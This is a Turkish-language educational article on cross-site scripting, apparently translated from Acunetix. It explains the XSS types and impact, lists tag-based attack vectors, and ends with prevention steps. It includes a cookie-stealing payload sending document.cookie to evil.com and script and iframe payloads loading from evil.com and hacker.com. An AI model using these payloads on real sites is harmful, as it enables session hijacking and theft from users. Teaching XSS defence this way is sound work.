Kategoriler
Security

Siteler Arası Komut Dosyası (XSS)

Siteler Arası Komut Dosyası (XSS), bir istemci tarafı kod enjeksiyon saldırısıdır. Saldırgan, meşru bir web sayfasına veya web uygulamasına kötü amaçlı kod ekleyerek kurbanın web tarayıcısında kötü amaçlı komut dosyaları yürütmeyi hedefler. Gerçek saldırı, kurban kötü amaçlı kodu çalıştıran web sayfasını veya web uygulamasını ziyaret ettiğinde gerçekleşir. Web sayfası veya web uygulaması, kötü amaçlı komut dosyasını kullanıcının tarayıcısına ulaştıran bir araç haline gelir. Siteler Arası Komut Dosyası saldırıları için yaygın olarak kullanılan savunmasız araçlar, yorumlara izin veren forumlar, mesaj panoları ve web sayfalarıdır.

Bir web sayfası veya web uygulaması, ürettiği çıktıda temizlenmemiş kullanıcı girişi kullanırsa XSS’ye karşı savunmasızdır. Bu kullanıcı girişi daha sonra kurbanın tarayıcısı tarafından ayrıştırılmalıdır. XSS saldırıları VBScript, ActiveX, Flash ve hatta CSS’de mümkündür. Ancak, JavaScript’te en yaygın olanıdır çünkü JavaScript çoğu göz atma deneyimi için temeldir.

“Siteler Arası Komut Dosyası Kullanıcının Problemi Değil mi?”

Bir saldırgan, bir kullanıcının tarayıcısında keyfi JavaScript yürütmek için bir web sayfasındaki XSS güvenlik açığını kötüye kullanırsa, savunmasız olan bu web sitesinin veya savunmasız web uygulamasının ve kullanıcılarının güvenliği tehlikeye atılmıştır. XSS, diğer güvenlik açıkları gibi kullanıcının sorunu değildir. Kullanıcılarınızı etkiliyorsa sizi etkiler.

Siteler Arası Komut Dosyası , kullanıcıyı hedeflemek yerine bir web sitesini tahrif etmek için de kullanılabilir . Saldırgan, web sitesinin içeriğini değiştirmek için enjekte edilen komut dosyalarını kullanabilir ve hatta tarayıcıyı başka bir web sayfasına, örneğin kötü amaçlı kod içeren bir web sayfasına yeniden yönlendirebilir.

Saldırgan JavaScript ile Ne Yapabilir?

XSS güvenlik açıkları, örneğin SQL Enjeksiyon güvenlik açıklarından daha az tehlikeli olarak algılanır . Bir web sayfasında JavaScript çalıştırma yeteneğinin sonuçları ilk bakışta korkunç görünmeyebilir. Çoğu web tarayıcısı JavaScript’i çok sıkı kontrol edilen bir ortamda çalıştırır. JavaScript, kullanıcının işletim sistemine ve kullanıcının dosyalarına sınırlı erişime sahiptir. Ancak JavaScript, kötü amaçlı içeriğin bir parçası olarak kötüye kullanılırsa yine de tehlikeli olabilir:

  • Kötü amaçlı JavaScript, web sayfasının geri kalanının erişebildiği tüm nesnelere erişebilir. Bu, kullanıcının çerezlerine erişimi içerir. Çerezler genellikle oturum belirteçlerini saklamak için kullanılır. Bir saldırgan, bir kullanıcının oturum tanımlama bilgisini elde edebilirse, o kullanıcının kimliğine bürünebilir, kullanıcı adına eylemler gerçekleştirebilir ve kullanıcının hassas verilerine erişim elde edebilir.
  • JavaScript, tarayıcı DOM’u okuyabilir ve üzerinde keyfi değişiklikler yapabilir. Neyse ki, bu JavaScript çalıştığı sayfa içinde mümkündür.
  • JavaScript, XMLHttpRequestrastgele içeriğe sahip HTTP isteklerini rastgele hedeflere göndermek için nesneyi kullanabilir .
  • Modern tarayıcılardaki JavaScript, HTML5 API’lerini kullanabilir. Örneğin, kullanıcının coğrafi konumuna, web kamerasına, mikrofonuna ve hatta kullanıcının dosya sisteminden belirli dosyalara erişim sağlayabilir. Bu API’lerin çoğu kullanıcının dahil olmasını gerektirir, ancak saldırgan bu sınırlamayı aşmak için sosyal mühendisliği kullanabilir.

Yukarıdakiler, sosyal mühendislik ile birlikte, suçluların çerez hırsızlığı, truva atı yerleştirme, tuş kaydı, kimlik avı ve kimlik hırsızlığı gibi gelişmiş saldırıları gerçekleştirmesine izin verir. XSS güvenlik açıkları, saldırıları daha ciddi olanlara yükseltmek için mükemmel bir zemin sağlar. Siteler Arası Komut Dosyası, Siteler Arası İstek Sahteciliği (CSRF) gibi diğer saldırı türleri ile birlikte de kullanılabilir .

Siteler Arası Komut Dosyası Yazma saldırılarının birkaç türü vardır: depolanmış / kalıcı XSS , yansıtılan / kalıcı olmayan XSS ve DOM tabanlı XSS . XSS Türleri başlıklı bir makalede onlar hakkında daha fazla bilgi edinebilirsiniz .

Siteler Arası Komut Dosyası Nasıl Çalışır?

Tipik bir XSS saldırısının iki aşaması vardır:

  1. Kötü amaçlı JavaScript kodunu kurbanın tarayıcısında çalıştırmak için, saldırganın önce kurbanın ziyaret ettiği bir web sayfasına kötü amaçlı kod (yük) enjekte etmenin bir yolunu bulması gerekir.
  2. Bundan sonra, kurban kötü niyetli kodun bulunduğu web sayfasını ziyaret etmelidir. Saldırı belirli kurbanlara yönelikse, saldırgan kurbana kötü amaçlı bir URL göndermek için sosyal mühendislik ve / veya kimlik avı kullanabilir.

Birinci adımın mümkün olması için, savunmasız web sitesinin sayfalarına doğrudan kullanıcı girişini dahil etmesi gerekir. Saldırgan daha sonra web sayfasında kullanılacak ve kurbanın tarayıcısı tarafından kaynak kodu olarak değerlendirilecek kötü amaçlı bir dize ekleyebilir. Ayrıca, saldırganın kullanıcıyı sosyal mühendislik kullanarak bir URL’yi ziyaret etmeye ikna ettiği ve yükün kullanıcının tıkladığı bağlantının bir parçası olduğu XSS saldırılarının çeşitleri de vardır.

Aşağıda, bir web sayfasındaki en son yorumu görüntülemek için kullanılan, sunucu tarafı sözde kod parçacığı verilmiştir:

print "<html>"
print "<h1>Most recent comment</h1>"
print database.latestComment
print "</html>"

Yukarıdaki komut dosyası, bir veritabanından en son yorumu alır ve bir HTML sayfasına dahil eder. Yazdırılan yorumun yalnızca metinden oluştuğunu ve HTML etiketleri veya başka bir kod içermediğini varsayar. XSS’ye karşı savunmasızdır, çünkü bir saldırgan kötü amaçlı bir yük içeren bir yorum gönderebilir, örneğin:

<script>doSomethingEvil();</script>

Web sunucusu, bu web sayfasını ziyaret eden kullanıcılara aşağıdaki HTML kodunu sağlar:

<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>

Sayfa kurbanın tarayıcısına yüklendiğinde, saldırganın kötü amaçlı komut dosyası yürütülür. Çoğu zaman, mağdur bunun farkına varmaz ve böyle bir saldırıyı önleyemez.

XSS Kullanarak Çerezleri Çalma

Suçlular çerezleri çalmak için genellikle XSS kullanır. Bu, kurbanın kimliğine bürünmelerine izin verir. Saldırgan, çerezi kendi sunucularına birçok şekilde gönderebilir. Bunlardan biri, kurbanın tarayıcısında aşağıdaki istemci tarafı komut dosyasını çalıştırmaktır:

<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>

Aşağıdaki şekil, basit bir XSS saldırısının adım adım ilerleyişini göstermektedir.

  1. Saldırgan, kötü amaçlı JavaScript içeriğine sahip savunmasız bir form göndererek web sitesinin veritabanına bir yük enjekte eder.
  2. Mağdur, web sayfasını web sunucusundan ister.
  3. Web sunucusu, kurbanın tarayıcısına, saldırganın yükünü HTML gövdesinin bir parçası olarak içeren sayfayı sunar.
  4. Kurbanın tarayıcısı, HTML gövdesinde bulunan kötü amaçlı komut dosyasını çalıştırır. Bu durumda, saldırganın sunucusuna kurbanın çerez gönderir.
  5. Saldırganın artık HTTP isteği sunucuya ulaştığında kurbanın tanımlama bilgisini çıkarması gerekiyor.
  6. Saldırgan artık kurbanın çalınan çerezini kimliğe bürünme için kullanabilir.

XSS saldırılarının nasıl yürütüldüğü hakkında daha fazla bilgi edinmek için siteler arası komut dosyası oluşturma hakkında kapsamlı bir eğitim başlıklı bir makaleye bakabilirsiniz.

Siteler Arası Komut Dosyası Çalıştırma Saldırısı Vektörleri

Aşağıda, bir saldırganın bir XSS saldırısı yoluyla bir web sitesinin veya web uygulamasının güvenliğini tehlikeye atmak için kullanabileceği yaygın XSS saldırı vektörlerinin bir listesi verilmiştir. XSS yük örneklerinin daha kapsamlı bir listesi OWASP kuruluşu tarafından tutulur: XSS Filtresi Kaçınma Hile Sayfası.

<script> etiketi

<script>Etiket en basit XSS yüktür. Bir scriptetiket, harici JavaScript koduna başvurabilir veya kodu scriptetiketin içine yerleştirebilirsiniz.

<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>

JavaScript etkinlikleri

JavaScript olay gibi nitelikleri onloadve onerrorbirçok farklı etiket kullanılabilir. Bu çok popüler bir XSS saldırı vektörüdür.

<!-- onload attribute in the <body> tag -->
<body onload=alert("XSS")>

<body> etiketi

Bir XSS yükü, <body>etkinlik öznitelikleri (yukarıya bakın) veya öznitelik gibi diğer daha belirsiz öznitelikler kullanılarak içinde teslim edilebilir background.

<!-- background attribute -->
<body background="javascript:alert("XSS")">

<img> etiketi

Bazı tarayıcılar, <img>özniteliklerde bulunan JavaScript’i çalıştırır .

<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!--  tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">

<iframe> etiketi

<iframe>Etiketi, Mevcut sayfada başka bir HTML sayfası yerleştirmek sağlar. Bir IFrame, JavaScript içerebilir ancak IFrame’deki JavaScript, tarayıcının İçerik Güvenlik Politikası (CSP) nedeniyle üst sayfanın DOM’una erişemez. Ancak, IFrame’ler kimlik avı saldırılarını ortadan kaldırmak için hala çok etkilidir.

<!-- <iframe> tag XSS -->
<iframe src="http://evil.com/xss.html">

<input> etiketi

Bazı tarayıcılarda, etiketin typeözniteliği <input>olarak ayarlanmışsa image, bir komut dosyası yerleştirmek için manipüle edilebilir.

<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">

<link> etiketi

<link>Genellikle dış stil sayfaları için bağlantıyı için kullanılan bu etiket, bir komut dosyası içerebilir.

<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">

<table> etiketi

<table>Ve <td>etiketlerinin arka plan niteliği , bir görüntü yerine bir komut dosyasına atıfta bulunmak için kullanılabilir.

<!-- <table> tag XSS -->
<table background="javascript:alert('XSS')">
<!-- <td> tag XSS -->
<td background="javascript:alert('XSS')">

<div> etiketi

<div><Table> ve benzer etiket, <td>etiketler, ayrıca bir arka plan belirtmek ve dolayısıyla bir senaryo gömebilirsiniz.

<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">

<object> etiketi

<object> tagHarici bir siteden bir komut dosyası eklemek için kullanılabilir.

<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">

Web Siteniz veya Web Uygulamanız Siteler Arası Komut Dizilerine Karşı Savunmasız mı

Siteler Arası Komut Dosyası güvenlik açıkları, en yaygın web uygulaması güvenlik açıklarından biridir. OWASP kuruluşu (Açık Web Uygulaması Güvenlik Projesi), XSS güvenlik açıklarını OWASP İlk 10 2017 belgesinde ikinci en yaygın sorun olarak listeliyor.

XSS Nasıl Önlenir

Kendinizi XSS’den korumak için, girişinizi temizlemelisiniz. Uygulama kodunuz, girdi olarak alınan verileri kötü amaçlı kod için kontrol etmeden asla doğrudan tarayıcıya vermemelidir.

Siteler Arası Komut Dosyası (XSS) Nasıl Önlenir – Genel İpuçları

Siteler Arası Komut Dosyası Çalıştırmayı (XSS) önlemek kolay değildir. Belirli önleme teknikleri, XSS güvenlik açığının alt türüne, kullanıcı girdisi kullanım bağlamına ve programlama çerçevesine bağlıdır. Ancak, web uygulamanızı güvende tutmak için izlemeniz gereken bazı genel stratejik ilkeler vardır.


Farkındalığı eğitin ve sürdürün
1. Adım: Farkındalığı eğitin ve sürdürünWeb uygulamanızı güvende tutmak için, web uygulamasını oluşturmaya dahil olan herkesin XSS güvenlik açıklarıyla ilişkili risklerin farkında olması gerekir. Sen tüm geliştiriciler, QA personel, DevOps ve sysadmins uygun güvenlik eğitimi sağlamalıdır. Onları bu sayfaya yönlendirerek başlayabilirsiniz.

Hiçbir kullanıcı girdisine güvenmeyin
2. Adım: Hiçbir kullanıcı girdisine güvenmeyinTüm kullanıcı girdilerini güvenilmez olarak değerlendirin. HTML çıktısının bir parçası olarak kullanılan herhangi bir kullanıcı girdisi, bir XSS riski taşır. Kimliği doğrulanmış ve / veya dahili kullanıcılardan gelen girdilere, genel girdiye yaptığınız gibi davranın.

Çıkış / kodlama kullan
3. Adım: Çıkış / kodlamayı kullanınKullanıcı girdisinin nerede kullanılacağına bağlı olarak uygun bir kaçış / kodlama tekniği kullanın: HTML kaçış, JavaScript kaçış, CSS kaçış, URL kaçış vb. Kaçış için mevcut kitaplıkları kullanın, kesinlikle gerekmedikçe kendi kitaplıklarınızı yazmayın.

HTML'yi temizle
4. Adım: HTML’yi temizlemeKullanıcı girdisinin HTML içermesi gerekiyorsa, geçerli etiketleri bozacağı için çıkış yapamazsınız / kodlayamazsınız. Bu tür durumlarda, HTML’yi ayrıştırmak ve temizlemek için güvenilir ve doğrulanmış bir kitaplık kullanın. Geliştirme dilinize bağlı olarak kitaplığı seçin, örneğin .NET için HtmlSanitizer veya Ruby on Rails için SanitizeHelper.

HttpOnly bayrağını ayarlayın
5. Adım: HttpOnly bayrağını ayarlayınOlası bir XSS güvenlik açığının sonuçlarını azaltmak için tanımlama bilgileri için HttpOnly işaretini ayarlayın. Bunu yaparsanız, bu tür tanımlama bilgilerine istemci tarafı JavaScript aracılığıyla erişilemez.

Bir İçerik Güvenlik Politikası kullanın
6. Adım: Bir İçerik Güvenlik Politikası kullanınOlası bir XSS güvenlik açığının sonuçlarını azaltmak için ayrıca bir İçerik Güvenliği Politikası (CSP) kullanın. CSP, istek kaynağına bağlı olarak yüklenmesine izin verilen dinamik kaynakları bildirmenize izin veren bir HTTP yanıt başlığıdır.

Kaynak: https://www.acunetix.com/websitesecurity/cross-site-scripting/